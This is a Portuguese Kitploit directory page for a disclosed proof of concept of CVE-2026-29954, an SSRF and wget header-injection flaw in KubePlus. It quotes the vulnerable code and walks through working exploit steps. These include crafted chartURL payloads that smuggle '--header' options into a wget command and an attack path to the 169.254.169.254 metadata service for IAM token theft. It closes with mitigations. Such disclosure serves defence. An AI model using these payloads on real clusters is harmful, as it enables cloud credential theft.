Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-29954 — Prova de conceito demonstrando SSRF e injeção de cabeçalhos HTTP no KubePlus ResourceComposition, permitindo acesso a metadados da nuvem e roubo de credenciais IAM. | Kitploit
Ferramentas/GitHubGitHub/b0b0haha/cve-2026-29954
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoSegurança na Nuvem
GitHubb0b0haha/cve-2026-29954

CVE-2026-29954

Prova de conceito demonstrando SSRF e injeção de cabeçalhos HTTP no KubePlus ResourceComposition, permitindo acesso a metadados da nuvem e roubo de credenciais IAM.

Ver Repositório
há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

KubePlus ResourceComposition ChartURL SSRF + Injeção de Cabeçalhos

Esta vulnerabilidade existe no componente de manipulação de recursos ResourceComposition do KubePlus, permitindo que um atacante com privilégios de Provider acesse serviços internos via SSRF ao criar um parâmetro chartURL malicioso, e injete cabeçalhos HTTP arbitrários através de injeção de comandos no wget. Isso permite que atacantes acessem serviços de metadados em nuvem que exigem cabeçalhos específicos (por exemplo, o GCP exige o cabeçalho Metadata-Flavor: Google), roubando assim credenciais IAM. CWE recomendada para relato: CWE-918 (Server-Side Request Forgery).

Resumo

Os componentes mutating webhook e kubeconfiggenerator do KubePlus possuem uma vulnerabilidade de SSRF ao processar o campo chartURL de recursos ResourceComposition. O campo é apenas codificado por URL sem validar o endereço de destino. Mais criticamente, quando o kubeconfiggenerator usa wget para baixar charts, o chartURL é concatenado diretamente no comando, permitindo que atacantes injetem a opção --header do wget para alcançar injeção arbitrária de cabeçalhos HTTP.

Detalhes

Localização do Código Vulnerável

Ponto de Entrada SSRF - :

mutating-webhook/utils.go:986-995
root@kitploit:~
func LintChart(chartURL string) []byte {
    encodedChartURL := url.QueryEscape(chartURL)
    args := fmt.Sprintf("chartURL=%s", encodedChartURL)
    var url1 string
    url1 = fmt.Sprintf("http://%s:%s/dryrunchart?%s", serviceHost, verificationServicePort, args)
    body := queryKubeDiscoveryService(url1)
    return body
}

Ponto de Injeção de Cabeçalhos - deploy/kubeconfiggenerator.py:552-558:

root@kitploit:~
def download_and_untar_chart(chartLoc, chartName):
    if chartLoc.startswith("https"):
        charttgz = chartName + ".tgz"
        wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
        out, err = run_command(wget)

O chartURL é concatenado diretamente no comando wget, permitindo que atacantes injetem a opção --header.

Análise da Vulnerabilidade

  1. SSRF: O campo chartURL vem da entrada do usuário, apenas codificado por URL, sem validar se o destino é uma rede interna ou serviço de metadados
  2. Injeção de Comandos (Cabeçalhos): O comando wget concatena diretamente o chartURL, permitindo a injeção de opções de linha de comando do wget
  3. Injeção de Cabeçalhos: Ao injetar a opção --header, cabeçalhos HTTP arbitrários podem ser adicionados

PoC

Configuração do Ambiente

  1. Criar cluster Kind:
root@kitploit:~
kind create cluster --name kubeplus-test
  1. Instalar KubePlus v4.2.0:
root@kitploit:~
helm repo add kubeplus https://cloud-ark.github.io/kubeplus
helm install kubeplus kubeplus/kubeplus -n default
kubectl wait --for=condition=Ready pod -l app=kubeplus --timeout=300s
  1. Gerar kubeconfig do provider:
root@kitploit:~
python3 provider-kubeconfig.py create default
  1. Implantar servidor de callback:
root@kitploit:~
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: ssrf-callback
  labels:
    app: ssrf-callback
spec:
  containers:
  - name: callback
    image: python:3.9-slim
    command: ["python3", "-c", "
from http.server import HTTPServer, BaseHTTPRequestHandler
from datetime import datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'[{datetime.now()}] GET {self.path}')
        print('Headers:')
        for h, v in self.headers.items():
            print(f'  {h}: {v}')
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
"]
    ports:
    - containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
  name: ssrf-callback
spec:
  selector:
    app: ssrf-callback
  ports:
  - port: 8080
EOF

Teste 1: Verificação Básica de SSRF

root@kitploit:~
# Criar ResourceComposition com payload SSRF
kubectl --kubeconfig=/tmp/provider.kubeconfig apply -f - <<EOF
apiVersion: workflows.kubeplus/v1alpha1
kind: ResourceComposition
metadata:
  name: ssrf-test
spec:
  newResource:
    resource:
      kind: SsrfApp
      group: ssrf.kubeplus
      version: v1
      plural: ssrfapps
    chartURL: "http://ssrf-callback.default.svc:8080/ssrf-test"
    chartName: ssrf-test
EOF

Saída do Log do Servidor de Callback:

root@kitploit:~
[2026-02-01T15:48:02.514357] GET /ssrf-basic-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Helm/3.12.1

Teste 2: Injeção de Cabeçalhos via wget --header

root@kitploit:~
# Configurar encaminhamento de porta para kubeconfighelper
kubectl port-forward svc/kubeconfighelper 5005:91 &

# Injetar cabeçalho Metadata-Flavor (necessário para o serviço de metadados do GCP)
PAYLOAD='https://fake --header "Metadata-Flavor: Google" http://ssrf-callback.default.svc:8080/header-test'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl "http://localhost:5005/registercrd?kind=Test&version=v1&group=test.kubeplus&plural=tests&chartURL=$ENCODED&chartName=test"

Saída do Log do Servidor de Callback:

root@kitploit:~
[2026-02-01T15:50:13.988222] GET /header-injection-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  Metadata-Flavor: Google

Teste 3: Injeção de Múltiplos Cabeçalhos

root@kitploit:~
PAYLOAD='https://fake --header "X-Custom-1: Value1" --header "Authorization: Bearer token" http://ssrf-callback.default.svc:8080/multi-header'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl "http://localhost:5005/registercrd?kind=Multi&version=v1&group=multi.kubeplus&plural=multis&chartURL=$ENCODED&chartName=multi"

Saída do Log do Servidor de Callback:

root@kitploit:~
[2026-02-01T15:50:38.565682] GET /multi-header-test
Headers:
  Host: ssrf-callback.default.svc:8080
  User-Agent: Wget/1.21.2
  Accept: */*
  Accept-Encoding: identity
  Connection: Keep-Alive
  X-Custom-Header-1: Value1
  X-Custom-Header-2: Value2
  Authorization: Bearer stolen-token

Impacto

  1. SSRF para Serviços Internos: Atacantes podem acessar serviços internos do cluster e a API do Kubernetes
  2. Acesso a Metadados em Nuvem: Ao injetar o cabeçalho Metadata-Flavor: Google, o serviço de metadados do GCP pode ser acessado
  3. Roubo de Credenciais IAM: Em ambientes de nuvem, credenciais temporárias IAM podem ser roubadas
  4. Bypass de Autenticação: Ao injetar cabeçalhos Authorization, a autenticação de alguns serviços pode ser contornada

Cenário de Ataque

root@kitploit:~
Atacante (privilégios de Provider)
    |
    v
Cria ResourceComposition (chartURL = "https://x --header 'Metadata-Flavor: Google' http://169.254.169.254/...")
    |
    v
KubePlus Webhook processa a requisição
    |
    v
kubeconfiggenerator executa: wget -O /chart.tgz --no-check-certificate https://x --header "Metadata-Flavor: Google" http://169.254.169.254/...
    |
    v
Acessa o serviço de metadados do GCP, obtém Token IAM
    |
    v
Usa o Token IAM para acessar recursos em nuvem

Severidade

Pontuação CVSS 3.1: 8.5 (Alta) Vetor: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N

  • Vetor de Ataque: Rede
  • Complexidade do Ataque: Baixa
  • Privilégios Necessários: Altos (função Provider)
  • Interação do Usuário: Nenhuma
  • Escopo: Alterado (pode acessar serviços externos em nuvem)
  • Confidencialidade: Alta (credenciais IAM)
  • Integridade: Baixa
  • Disponibilidade: Nenhuma

Versões Afetadas

  • KubePlus v4.2.0 (verificado)
  • Provavelmente todas as versões que usam wget para download de charts

Mitigações

  1. Política de Rede: Restringir o acesso de rede de saída para o Pod do KubePlus
root@kitploit:~
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: kubeplus-egress-restrict
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32
        - 10.0.0.0/8
        - 172.16.0.0/12
        - 192.168.0.0/16
  1. Lista de Permissões de URL: Adicionar validação de lista de permissões para chartURL no código

Referências

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-88: Neutralização Imprópria de Delimitadores de Argumentos em um Comando
  • Folha de Dicas de Prevenção de SSRF da OWASP
  • Kubeplus: https://github.com/cloud-ark/kubeplus

Créditos

crédito para: @b0b0haha ([email protected]) @lixingquzhi ([email protected])

Baixar ferramenta